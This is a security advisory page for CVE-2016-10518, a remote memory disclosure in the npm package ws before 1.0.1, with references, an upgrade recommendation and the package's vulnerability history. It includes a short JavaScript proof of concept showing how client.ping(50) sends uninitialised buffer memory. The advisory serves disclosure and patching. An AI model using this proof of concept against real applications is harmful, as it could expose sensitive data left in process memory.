Remote Memory Disclosure in ws
Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.
In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.
Proof of Concept
var ws = require('ws')
var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')
client.on('open', function () {
console.log('open')
client.ping(50) // this sends a non-zeroed buffer of 50 bytes
client.on('pong', function (data) {
console.log('got pong')
console.log(data) // Data from the client.
})
})
Recommendation
Update to version 1.0.1 or greater.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | ws | < 1.0.1 | 1.0.1 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2016-10518
- https://github.com/websockets/ws/commit/29293ed11b679e0366fa0f6bb9310b330dafd795
- https://gist.github.com/c0nrad/e92005446c480707a74a
- https://github.com/advisories/GHSA-2mhh-w6q8-5hxw
- https://github.com/websockets/ws/releases/tag/1.0.1
- https://www.npmjs.com/advisories/67
- Weakness (CWE)
CWE-201- Platform
- npm
- Package
ws- Disclosed
- 18.02.2019
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-2mhh-w6q8-5hxw - CC BY 4.0
Vulnerability history: ws
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 7
- First → latest
- 02.2019 06.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 4
- Medium 2
- Low 1
Disclosures per year
- 2019: 3
- 2020: 0
- 2021: 1
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 2
-
Remote Memory Disclosure in ws this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.